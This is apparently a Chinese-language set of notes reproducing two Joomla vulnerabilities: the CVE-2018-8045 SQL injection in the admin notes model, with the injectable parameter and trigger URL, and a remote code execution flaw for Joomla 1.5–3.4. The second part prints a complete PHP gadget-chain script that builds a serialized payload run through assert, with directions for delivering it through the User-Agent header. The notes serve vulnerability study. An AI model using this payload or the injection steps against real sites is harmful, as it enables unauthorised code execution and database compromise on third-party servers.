开始复现漏洞
使用w9scan测出存在注入
CVE-2018-8045复现:
官网:https://developer.joomla.org/security-centre/723-20180301-core-sqli-vulnerability.html
登录后台后:
升级包中的notes.php中,对$categoryId的值进行了限制,强制转换为int类型,可以确定,这个漏洞就出在这里。
在这里说个题外话,notes.php中getState方法出现过很多次,分别有
getState(‘filter.search’)
getState(‘filter.published’)
getState(‘filter.category_id’)
getState(‘filter.user_id’)
getState(‘filter.level’)
但是唯有getState(‘filter.category_id’)方法没有进行(int)类型转换,存在着漏洞隐患,这可能是开发者一时的疏忽吧。
CVE-2018-8045 漏洞分析
来看下存在漏洞的代码:
// Filter by a single or group of categories.
$categoryId = $this->getState('filter.category_id');
if ($categoryId && is_scalar($categoryId))
{
$query->where('a.catid = ' . $categoryId);
}
$categoryId未经过滤直接拼接sql语句进行查询,造成了sql注入。
但是$categoryId参数如何控制呢?
存在漏洞的文件位于\administrator\components\com_users\models\notes.php,是一个joomla的模型文件,它的控制器是\administrator\components\com_users\controllers\notes.php
我们登录joomla后台来看一下在哪里触发这个漏洞。
访问http://xxx/joomla/administrator/index.php?option=com_users&view=notes 即可触发该控制器。
此时我们需要的filter[category_id]参数出现在了post参数中,通过这个参数的值,即可畅通无阻的进行注入。
下面验证下这个filter[category_id]参部分可以直接传递给后台的$categoryId参数
我们修改了filter[category_id]参数内容为’kingsguard_test’,并发包
后台下断点,抓取$categoryId值,可见’kingsguard_test’原封不动的被传递给$categoryId参数,并拼接sql语句进行查询。
POST注入 -p filter[category_id]指定参数
但失败了
Joomla远程代码执行漏洞(Phith0n)
这个漏洞影响Joomla 1.5 to 3.4全版本
<?php //header("Content-Type: text/plain"); class JSimplepieFactory { } class JDatabaseDriverMysql { } class SimplePie { var $sanitize; var $cache; var $cache_name_function; var $javascript; var $feed_url; function __construct() { $this->feed_url = "phpinfo();JFactory::getConfig();exit;"; $this->javascript = 9999; $this->cache_name_function = "assert"; $this->sanitize = new JDatabaseDriverMysql(); $this->cache = true; } } class JDatabaseDriverMysqli { protected $a; protected $disconnectHandlers; protected $connection; function __construct() { $this->a = new JSimplepieFactory(); $x = new SimplePie(); $this->connection = 1; $this->disconnectHandlers = [ [$x, "init"], ]; } } $a = new JDatabaseDriverMysqli(); echo serialize($a);
将这个代码生成的exp,以前面提到的注入『|』的变换方式,带入前面提到的user-agent中,即可触发代码执行。
其中,我们需要将char(0)*char(0)
替换成\0\0\0,因为在序列化的时候,protected类型变量会被转换成\0*\0name
的样式,这个替换在源代码中也可以看到: